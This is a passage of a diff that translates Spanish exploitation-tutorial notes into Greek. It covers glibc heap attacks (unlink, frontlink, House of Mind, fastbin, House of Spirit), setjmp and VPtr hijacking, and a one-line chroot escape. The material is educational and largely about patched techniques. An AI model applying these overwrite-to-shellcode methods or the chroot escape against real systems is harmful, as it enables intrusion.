x86** και **x64_86**.\ +Η **συνάρτηση κρυπτογράφησης** είναι **`PTR_MANGLE`**. **Άλλες αρχιτεκτονικές** όπως m68k, mips32, mips64, aarch64, arm, hppa... **δεν υλοποιούν τη συνάρτηση κρυπτογράφησης** γιατί **επιστρέφει το ίδιο** με αυτό που έλαβε ως είσοδο. Έτσι, αυτές οι αρχιτεκτονικές θα μπορούσαν να επιτεθούν μέσω αυτού του παράγοντα. ### **setjmp() & longjmp()** > [!CAUTION] -> Nowadays is very **weird to exploit this**. +> Σήμερα είναι πολύ **περίεργο να εκμεταλλευτείτε αυτό**. -**`Setjmp()`** allows to **save** the **context** (the registers)\ -**`longjmp()`** allows to **restore** the **context**.\ -The **saved registers** are: `EBX, ESI, EDI, ESP, EIP, EBP`\ -What happens is that EIP and ESP are passed by the **`PTR_MANGLE`** function, so the **architecture vulnerable to this attack are the same as above**.\ -They are useful for error recovery or interrupts.\ -However, from what I have read, the other registers are not protected, **so if there is a `call ebx`, `call esi` or `call edi`** inside the function being called, control can be taken over. Or you could also modify EBP to modify the ESP. +**`Setjmp()`** επιτρέπει να **αποθηκεύσετε** το **περιβάλλον** (τους καταχωρητές)\ +**`longjmp()`** επιτρέπει να **αποκαταστήσετε** το **περιβάλλον**.\ +Οι **αποθηκευμένοι καταχωρητές** είναι: `EBX, ESI, EDI, ESP, EIP, EBP`\ +Αυτό που συμβαίνει είναι ότι οι EIP και ESP περνιούνται από τη **συνάρτηση `PTR_MANGLE`**, έτσι η **αρχιτεκτονική ευάλωτη σε αυτή την επίθεση είναι η ίδια με την παραπάνω**.\ +Είναι χρήσιμες για αποκατάσταση σφαλμάτων ή διακοπές.\ +Ωστόσο, από όσα έχω διαβάσει, οι άλλοι καταχωρητές δεν είναι προστατευμένοι, **έτσι αν υπάρχει μια `call ebx`, `call esi` ή `call edi`** μέσα στη συνάρτηση που καλείται, μπορεί να αναληφθεί ο έλεγχος. Ή θα μπορούσατε επίσης να τροποποιήσετε το EBP για να τροποποιήσετε το ESP. -**VTable y VPTR en C++** +**VTable και VPTR σε C++** -Each class has a **Vtable** which is an array of **pointers to methods**. +Κάθε κλάση έχει μια **Vtable** που είναι ένας πίνακας **δεικτών σε μεθόδους**. -Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof its class. The VPtr is part of the header of each object, so if an **overwrite** of the **VPtr** is achieved it could be **modified** to **point** to a dummy method so that executing a function would go to the shellcode. +Κάθε αντικείμενο μιας **κλάσης** έχει ένα **VPtr** που είναι ένας **δείκτης** στον πίνακα της κλάσης του. Το VPtr είναι μέρος της κεφαλίδας κάθε αντικειμένου, έτσι αν επιτευχθεί μια **υπεργραφή** του **VPtr** θα μπορούσε να **τροποποιηθεί** ώστε να **δείχνει** σε μια ψεύτικη μέθοδο ώστε η εκτέλεση μιας συνάρτησης να πηγαίνει στη shellcode. -## **Medidas preventivas y evasiones** +## **Προληπτικά μέτρα και αποφυγές** ### -**Reemplazo de Libsafe** +**Αντικατάσταση του Libsafe** -Se activa con: LD_PRELOAD=/lib/libsafe.so.2\ -o\ +Ενεργοποιείται με: LD_PRELOAD=/lib/libsafe.so.2\ +ή\ “/lib/libsave.so.2” > /etc/ld.so.preload -Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD_PRELOAD no sirve en binarios con suid). +Εντοπίζονται οι κλήσεις σε ορισμένες ανασφαλείς συναρτήσεις με άλλες ασφαλείς. Δεν είναι τυποποιημένο. (μόνο για x86, όχι για κατασκευές με -fomit-frame-pointer, όχι στατικές κατασκευές, όχι όλες οι ευάλωτες συναρτήσεις γίνονται ασφαλείς και το LD_PRELOAD δεν λειτουργεί σε δυαδικά με suid). **ASCII Armored Address Space** -Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian. +Συνίσταται στη φόρτωση των κοινών βιβλιοθηκών από 0x00000000 έως 0x00ffffff ώστε να υπάρχει πάντα ένα byte 0x00. Ωστόσο, αυτό πραγματικά δεν σταματά σχεδόν καμία επίθεση, και λιγότερο σε little endian. **ret2plt** -Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system() +Συνίσταται στην εκτέλεση ενός ROP ώστε να καλείται η συνάρτηση strcpy@plt (από την plt) και να δείχνει στην είσοδο της GOT και να αντιγράφει το πρώτο byte της συνάρτησης που θέλετε να καλέσετε (system()). Αμέσως μετά γίνεται το ίδιο δείχνοντας στο GOT+1 και αντιγράφεται το 2ο byte του system()… Στο τέλος καλείται η διεύθυνση που αποθηκεύτηκε στο GOT που θα είναι το system() -**Jaulas con chroot()** +**Κλουβιά με chroot()** -debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico +debootstrap -arch=i386 hardy /home/user —> Εγκαθιστά ένα βασικό σύστημα κάτω από έναν συγκεκριμένο υποκατάλογο -Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd .. +Ένας διαχειριστής μπορεί να βγει από ένα από αυτά τα κλουβιά κάνοντας: mkdir foo; chroot foo; cd .. -**Instrumentación de código** +**Εργαλειοποίηση κώδικα** -Valgrind —> Busca errores\ +Valgrind —> Αναζητά σφάλματα\ Memcheck\ RAD (Return Address Defender)\ Insure++ -## **8 Heap Overflows: Exploits básicos** +## **8 Heap Overflows: Βασικά exploits** -**Trozo asignado** +**Κατανεμημένο κομμάτι** prev_size |\ -size | —Cabecera\ -\*mem | Datos +size | —Κεφαλίδα\ +\*mem | Δεδομένα -**Trozo libre** +**Ελεύθερο κομμάτι** prev_size |\ size |\ \*fd | Ptr forward chunk\ -\*bk | Ptr back chunk —Cabecera\ -\*mem | Datos +\*bk | Ptr back chunk —Κεφαλίδα\ +\*mem | Δεδομένα -Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan) +Τα ελεύθερα κομμάτια βρίσκονται σε μια διπλά συνδεδεμένη λίστα (bin) και δεν μπορούν να υπάρχουν δύο ελεύθερα κομμάτια μαζί (συγχωνεύονται) -En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario. +Στο “size” υπάρχουν bits για να υποδείξουν: Εάν το προηγούμενο κομμάτι είναι σε χρήση, εάν το κομμάτι έχει ανατεθεί μέσω mmap() και εάν το κομμάτι ανήκει στην πρωτεύουσα αρένα. -Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado. +Εάν κατά την απελευθέρωση ενός κομματιού κάποιο από τα γειτονικά είναι ελεύθερο, αυτά συγχωνεύονται μέσω της μακροεντολής unlink() και το νέο μεγαλύτερο κομμάτι περνάει στο frontlink() για να εισαχθεί στο κατάλληλο bin. unlink(){\ -BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\ -BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\ +BK = P->bk; —> Το BK του νέου chunk είναι αυτό που είχε το ήδη ελεύθερο πριν\ +FD = P->fd; —> Το FD του νέου chunk είναι αυτό που είχε το ήδη ελεύθερο πριν\ +FD->bk = BK; —> Το BK του επόμενου chunk δείχνει στο νέο chunk\ +BK->fd = FD; —> Το FD του προηγούμενου chunk δείχνει στο νέο chunk\ } -Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra: +Έτσι, αν καταφέρουμε να τροποποιήσουμε το P->bk με τη διεύθυνση μιας shellcode και το P->fd με τη διεύθυνση σε μια είσοδο στην GOT ή DTORS λιγότερο 12, επιτυγχάνεται: BK = P->bk = \&shellcode\ FD = P->fd = &\_\_dtor_end\_\_ - 12\ FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode -Y así se se ejecuta al salir del programa la shellcode. +Και έτσι εκτελείται η shellcode κατά την έξοδο από το πρόγραμμα. -Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto: +Επιπλέον, η 4η δήλωση του unlink() γράφει κάτι και η shellcode πρέπει να είναι προσαρμοσμένη για αυτό: -BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode. +BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Αυτό προκαλεί την εγγραφή 4 bytes από το 8ο byte της shellcode, οπότε η πρώτη εντολή της shellcode πρέπει να είναι ένα jmp για να παραλείψει αυτό και να πέσει σε κάποια nops που θα οδηγήσουν στο υπόλοιπο της shellcode. -Por lo tanto el exploit se crea: +Έτσι, το exploit δημιουργείται: -En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode. +Στο buffer1 βάζουμε τη shellcode ξεκινώντας με ένα jmp ώστε να πέσει σε nops ή στο υπόλοιπο της shellcode. -Después de la shell code metemos relleno hasta llegar al campo prev_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**. +Μετά τη shell code βάζουμε γέμισμα μέχρι να φτάσουμε στο πεδίο prev_size και size του επόμενου κομματιού. Σε αυτές τις θέσεις βάζουμε 0xfffffff0 (έτσι ώστε να υπεργραφεί το prev_size ώστε να έχει το bit που λέει ότι είναι ελεύθερο) και “-4“(0xfffffffc) στο size (έτσι ώστε όταν ελέγξει στο 3ο κομμάτι αν το 2ο ήταν ελεύθερο στην πραγματικότητα να πάει στο τροποποιημένο prev_size που θα του πει ότι είναι ελεύθερο) -> Έτσι όταν το free() ερευνήσει θα πάει στο size του 3ου αλλά στην πραγματικότητα θα πάει στο 2ο - 4 και θα νομίζει ότι το 2ο κομμάτι είναι ελεύθερο. Και τότε θα καλέσει το **unlink()**. -Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso). +Κατά την κλήση του unlink() θα χρησιμοποιήσει ως P->fd τα πρώτα δεδομένα του 2ου κομματιού, οπότε εκεί θα μπει η διεύθυνση που θέλετε να υπεργράψετε - 12 (διότι στο FD->bk θα προσθέσει 12 στη διεύθυνση που αποθηκεύτηκε στο FD). Και σε αυτή τη διεύθυνση θα εισαχθεί η δεύτερη διεύθυνση που θα βρει στο 2ο κομμάτι, που μας ενδιαφέρει να είναι η διεύθυνση στη shellcode (P->bk ψεύτικο). **from struct import \*** @@ -281,57 +271,57 @@ Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo q **unset() liberando en sentido inverso (wargame)** -Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado. +Ελέγχουμε 3 κομμάτια διαδοχικά και απελευθερώνονται με αντίστροφη σειρά από αυτήν που κρατήθηκαν. -En ese caso: +Σε αυτή την περίπτωση: -En el chunck c se pone el shellcode +Στο chunk c βάζουμε τη shellcode -El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV_INUSE desactivado de forma que piense que el chunck a está libre. +Το chunk a το χρησιμοποιούμε για να υπεργράψουμε το b με τέτοιο τρόπο ώστε το size να έχει το bit PREV_INUSE απενεργοποιημένο ώστε να νομίζει ότι το chunk a είναι ελεύθερο. -Además, se sobreescribe en la cabecera b el size para que valga -4. +Επιπλέον, υπεργράφουμε στην κεφαλίδα b το size ώστε να είναι -4. -Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”. +Έτσι, το πρόγραμμα θα νομίζει ότι το “a” είναι ελεύθερο και σε ένα bin, οπότε θα καλέσει το unlink() για να το αποσυνδέσει. Ωστόσο, καθώς η κεφαλίδα PREV_SIZE είναι -4. Θα νομίζει ότι το κομμάτι του “a” στην πραγματικότητα αρχίζει στο b+4. Δηλαδή, θα κάνει ένα unlink() σε ένα κομμάτι που αρχίζει στο b+4, οπότε στο b+12 θα είναι ο δείκτης “fd” και στο b+16 θα είναι ο δείκτης “bk”. -De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload. +Έτσι, αν στο bk βάλουμε τη διεύθυνση στη shellcode και στο fd τη διεύθυνση στη συνάρτηση “puts()”-12 έχουμε το payload μας. -**Técnica de Frontlink** +**Τεχνική Frontlink** -Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink(). +Ονομάζεται frontlink όταν απελευθερώνεται κάτι και κανένα από τα γειτονικά του κομμάτια δεν είναι ελεύθερα, δεν καλείται το unlink() αλλά καλείται απευθείας το frontlink(). -Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()). +Ευάλωτο όταν το malloc που επιτίθεται ποτέ δεν απελευθερώνεται (free()). -Necesita: +Απαιτεί: -Un buffer que pueda desbordarse con la función de entrada de datos +Ένα buffer που μπορεί να υπερχειλίσει με τη συνάρτηση εισόδου δεδομένων -Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior +Ένα buffer που είναι γειτονικό σε αυτό που πρέπει να απελευθερωθεί και στο οποίο θα τροποποιηθεί το πεδίο fd της κεφαλίδας του χάρη στην υπερχείλιση του προηγούμενου buffer -Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior +Ένα buffer προς απελευθέρωση με μέγεθος μεγαλύτερο από 512 αλλά μικρότερο από το προηγούμενο buffer -Un buffer declarado antes del paso 3 que permita sobreescribir el prev_size de este +Ένα buffer δηλωμένο πριν από το βήμα 3 που επιτρέπει την υπεργραφή του prev_size αυτού -De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit. +Με αυτόν τον τρόπο, επιτυγχάνοντας να υπεργράψουμε σε δύο mallocs με τρόπο ανεξέλεγκτο και σε ένα με ελεγχόμενο τρόπο αλλά που απελευθερώνεται μόνο αυτό, μπορούμε να κάνουμε ένα exploit. -**Vulnerabilidad double free()** +**Ευαλωτότητα double free()** -Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección. +Εάν καλέσετε δύο φορές το free() με τον ίδιο δείκτη, μένουν δύο bins να δείχνουν στην ίδια διεύθυνση. -En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior. +Σε περίπτωση που θέλετε να ξαναχρησιμοποιήσετε ένα, θα ανατεθεί χωρίς προβλήματα. Σε περίπτωση που θέλετε να χρησιμοποιήσετε άλλο, θα του ανατεθεί ο ίδιος χώρος, οπότε θα έχουμε τους δείκτες “fd” και “bk” ψευδείς με τα δεδομένα που θα γράψει η προηγούμενη κράτηση. **After free()** -Un puntero previamente liberado es usado de nuevo sin control. +Ένας δείκτης που έχει απελευθερωθεί προηγουμένως χρησιμοποιείται ξανά χωρίς έλεγχο. -## **8 Heap Overflows: Exploits avanzados** +## **8 Heap Overflows: Προχωρημένα exploits** -Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink(). +Οι τεχνικές Unlink() και FrontLink() αφαιρέθηκαν με την τροποποίηση της συνάρτησης unlink(). **The house of mind** -Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado. +Μόνο μια κλήση στο free() είναι απαραίτητη για να προκαλέσει την εκτέλεση αυθαίρετου κώδικα. Είναι σημαντικό να αναζητήσετε ένα δεύτερο κομμάτι που μπορεί να υπερχειλιστεί από ένα προηγούμενο και να απελευθερωθεί. -Una llamada a free() provoca llamar a public_fREe(mem), este hace: +Μια κλήση στο free() προκαλεί την κλήση του public_fREe(mem), αυτό κάνει: mstate ar_ptr; @@ -339,7 +329,7 @@ mchunkptr p; … -p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8) +p = mem2chunk(mes); —> Επιστρέφει έναν δείκτη στη διεύθυνση όπου αρχίζει το κομμάτι (mem-8) … @@ -351,11 +341,11 @@ ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->a } -En \[1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info) +Στο \[1] ελέγχει το πεδίο size το bit NON_MAIN_ARENA, το οποίο μπορεί να τροποποιηθεί ώστε η επαλήθευση να επιστρέψει true και να εκτελέσει το heap_for_ptr() που κάνει ένα and στο “mem” αφήνοντας 0 τα 2.5 λιγότερο σημαντικά bytes (στην περίπτωσή μας από 0x0804a000 αφήνει 0x08000000) και έχει πρόσβαση στο 0x08000000->ar_ptr (σαν να ήταν μια δομή heap_info) -De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr) +Με αυτόν τον τρόπο, εάν μπορούμε να ελέγξουμε ένα κομμάτι για παράδειγμα στο 0x0804a000 και πρόκειται να απελευθερωθεί ένα κομμάτι στο **0x081002a0** μπορούμε να φτάσουμε στη διεύθυνση 0x08100000 και να γράψουμε ό,τι θέλουμε, για παράδειγμα **0x0804a000**. Όταν αυτό το δεύτερο κομμάτι απελευθερωθεί, θα διαπιστώσει ότι το heap_for_ptr(ptr)->ar_ptr επιστρέφει αυτό που έχουμε γράψει στο 0x08100000 (διότι εφαρμόζεται στο 0x081002a0 το and που είδαμε πριν και από εκεί εξάγεται η τιμή των 4 πρώτων bytes, το ar_ptr) -De esta forma se llama a \_int_free(ar_ptr, mem), es decir, **\_int_free(0x0804a000, 0x081002a0)**\ +Με αυτόν τον τρόπο καλείται το \_int_free(ar_ptr, mem), δηλαδή, **\_int_free(0x0804a000, 0x081002a0)**\ **\_int_free(mstate av, Void_t\* mem){**\ …\ bck = unsorted_chunks(av);\ @@ -367,36 +357,36 @@ fwd->bk = p; ..} -Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar. +Όπως είδαμε πριν, μπορούμε να ελέγξουμε την τιμή του av, διότι είναι αυτό που γράψαμε στο κομμάτι που πρόκειται να απελευθερωθεί. -Tal y como se define unsorted_chunks, sabemos que:\ +Ακριβώς όπως ορίζεται το unsorted_chunks, γνωρίζουμε ότι:\ bck = \&av->bins\[2]-8;\ fwd = bck->fd = \*(av->bins\[2]);\ fwd->bk = \*(av->bins\[2] + 12) = p; -Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR_END\_\_ la dirección del segundo trozo. +Έτσι, αν στο av->bins\[2] γράψουμε την τιμή του \_\_DTOR_END\_\_-12 στην τελευταία εντολή θα γραφτεί στο \_\_DTOR_END\_\_ η διεύθυνση του δεύτερου κομματιού. -Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR_END\_\_-12 porque de ahí la sacará av->bins\[2] +Δηλαδή, στο πρώτο κομμάτι πρέπει να βάλουμε στην αρχή πολλές φορές τη διεύθυνση του \_\_DTOR_END\_\_-12 γιατί από εκεί θα την πάρει το av->bins\[2] -En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2] +Στη διεύθυνση που θα πέσει η διεύθυνση του δεύτερου κομματιού με τα τελευταία 5 μηδενικά πρέπει να γράψουμε τη διεύθυνση σε αυτό το πρώτο κομμάτι ώστε το heap_for_ptr() να νομίζει ότι το ar_ptr είναι στην αρχή του πρώτου κομματιού και να εξάγει από εκεί το av->bins\[2] -En el segundo trozo y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA +Στο δεύτερο κομμάτι και χάρη στο πρώτο υπεργράφουμε το prev_size με ένα jump 0x0c και το size με κάτι για να ενεργοποιήσουμε -> NON_MAIN_ARENA -A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode +Στη συνέχεια, στο κομμάτι 2 βάζουμε μια σωρεία nops και τελικά τη shellcode -De esta forma se llamará a \_int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR_END\_\_ la dirección del prev_size del TROZO2 el cual saltará a la shellcode. +Με αυτόν τον τρόπο θα κληθεί το \_int_free(TROZO1, TROZO2) και θα ακολουθήσει τις εντολές για να γράψει στο \_\_DTOR_END\_\_ τη διεύθυνση του prev_size του TROZO2 το οποίο θα παραλείψει στη shellcode. -Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload. +Για να εφαρμοστεί αυτή η τεχνική απαιτείται να πληρούνται ορισμένες επιπλέον απαιτήσεις που περιπλέκουν λίγο περισσότερο το payload. -Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él. +Αυτή η τεχνική δεν είναι πλέον εφαρμόσιμη καθώς εφαρμόστηκε σχεδόν η ίδια επιδιόρθωση όπως για το unlink. Συγκρίνονται αν η νέα θέση στην οποία δείχνει επίσης δείχνει σε αυτήν. **Fastbin** -Es una variante de The house of mind +Είναι μια παραλλαγή του The house of mind -nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int_free() +μας ενδιαφέρει να εκτελέσουμε τον επόμενο κώδικα στον οποίο φτάνουμε μετά την πρώτη επαλήθευση της συνάρτησης \_int_free() -fb = &(av->fastbins\[fastbin_index(size)] —> Siendo fastbin_index(sz) —> (sz >> 3) - 2 +fb = &(av->fastbins\[fastbin_index(size)] —> Όντας fastbin_index(sz) —> (sz >> 3) - 2 … @@ -404,61 +394,61 @@ p->fd = \*fb \*fb = p -De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max_fast esté en la dirección que vamos a sobreescribir. +Με αυτόν τον τρόπο, αν βάλουμε στο “fb” τη διεύθυνση μιας συνάρτησης στην GOT, σε αυτή τη διεύθυνση θα τοποθετηθεί η διεύθυνση στο κομμάτι που έχει υπεργραφεί. Για αυτό θα είναι απαραίτητο η αρένα να είναι κοντά στις διευθύνσεις των dtors. Πιο συγκεκριμένα, το av->max_fast πρέπει να είναι στη διεύθυνση που θα υπεργραφεί. -Dado que con The House of Mind se vio que nosotros controlábamos la posición del av. +Δεδομένου ότι με το The House of Mind είδαμε ότι ελέγχαμε τη θέση του av. -Entones si en el campo size ponemos un tamaño de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos devolverá fastbins\[-1], que apuntará a av->max_fast +Έτσι, αν στο πεδίο size βάλουμε ένα μέγεθος 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() θα μας επιστρέψει fastbins\[-1], που θα δείχνει στο av->max_fast -En este caso av->max_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita). +Σε αυτή την περίπτωση το av->max_fast θα είναι η διεύθυνση που θα υπεργραφεί (όχι σε αυτή που δείχνει, αλλά αυτή η θέση θα είναι η οποία θα υπεργραφεί). -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops). +Επιπλέον, πρέπει να πληρούνται οι προϋποθέσεις ότι το κομμάτι που γειτονεύει με το απελευθερωμένο πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του απελευθερωμένου κομματιού είναι 8, σε αυτό το ψεύτικο κομμάτι πρέπει να βάλουμε μόνο ένα μέγεθος μεγαλύτερο από 8 (καθώς επίσης η shellcode θα πάει στο απελευθερωμένο κομμάτι, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops). -Además, ese mismo trozo falso debe ser menor que av->system_mem. av->system_mem se encuentra 1848 bytes más allá. +Επιπλέον, αυτό το ίδιο ψεύτικο κομμάτι πρέπει να είναι μικρότερο από το av->system_mem. Το av->system_mem βρίσκεται 1848 bytes παρακάτω. -Por culpa de los nulos de \_DTOR_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila. +Λόγω των μηδενικών του \_DTOR_END\_ και των λίγων διευθύνσεων στην GOT, καμία από αυτές τις διευθύνσεις δεν είναι κατάλληλη για να υπεργραφούν, οπότε ας δούμε πώς να εφαρμόσουμε το fastbin για να επιτεθούμε στη στοίβα. -Otra forma de ataque es redirigir el **av** hacia la pila. +Ένας άλλος τρόπος επίθεσης είναι να ανακατευθύνουμε το **av** προς τη στοίβα. -Si modificamos el size para que de 16 en vez de 8 entonces: fastbin_index() nos devolverá fastbins\[0] y podemos hacer uso de esto para sobreescribir la pila. +Εάν τροποποιήσουμε το μέγεθος ώστε να είναι 16 αντί για 8 τότε: fastbin_index() θα μας επιστρέψει fastbins\[0] και μπορούμε να χρησιμοποιήσουμε αυτό για να υπεργράψουμε τη στοίβα. -Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET +Για αυτό δεν πρέπει να υπάρχει κανένας canary ή περίεργες τιμές στη στοίβα, στην πραγματικότητα πρέπει να βρισκόμαστε σε αυτήν: 4 bytes μηδενικά + EBP + RET -Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0. +Τα 4 μηδενικά bytes χρειάζονται ώστε το **av** να είναι σε αυτή τη διεύθυνση και το πρώτο στοιχείο ενός **av** είναι το mutex που πρέπει να είναι 0. -El **av->max_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones. +Το **av->max_fast** θα είναι το EBP και θα είναι μια τιμή που θα μας βοηθήσει να παρακάμψουμε τους περιορισμούς. -En el **av->fastbins\[0]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode. +Στο **av->fastbins\[0]** θα υπεργραφεί με τη διεύθυνση του **p** και θα είναι το RET, έτσι θα παρακαμφθεί στη shellcode. -Además, en **av->system_mem** (1484bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza. +Επιπλέον, στο **av->system_mem** (1484 bytes πάνω από τη θέση στη στοίβα) θα υπάρχει αρκετή σαβούρα που θα μας επιτρέψει να παρακάμψουμε την επαλήθευση που πραγματοποιείται. -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso). +Επιπλέον, πρέπει να πληρούνται οι προϋποθέσεις ότι το κομμάτι που γειτονεύει με το απελευθερωμένο πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του απελευθερωμένου κομματιού είναι 16, σε αυτό το ψεύτικο κομμάτι πρέπει να βάλουμε μόνο ένα μέγεθος μεγαλύτερο από 8 (καθώς επίσης η shellcode θα πάει στο απελευθερωμένο κομμάτι, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops που θα ακολουθούν το πεδίο size του νέου ψεύτικου κομματιού). **The House of Spirit** -En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante (por ej, que el puntero esté en el stack debajo de un posible overflow a una variable). +Σε αυτή την περίπτωση αναζητούμε να έχουμε έναν δείκτη σε ένα malloc που μπορεί να είναι τροποποιήσιμο από τον επιτιθέμενο (π.χ., ο δείκτης να είναι στη στοίβα κάτω από μια πιθανή υπερχείλιση σε μια μεταβλητή). -Así, podríamos hacer que este puntero apuntase a donde fuese. Sin 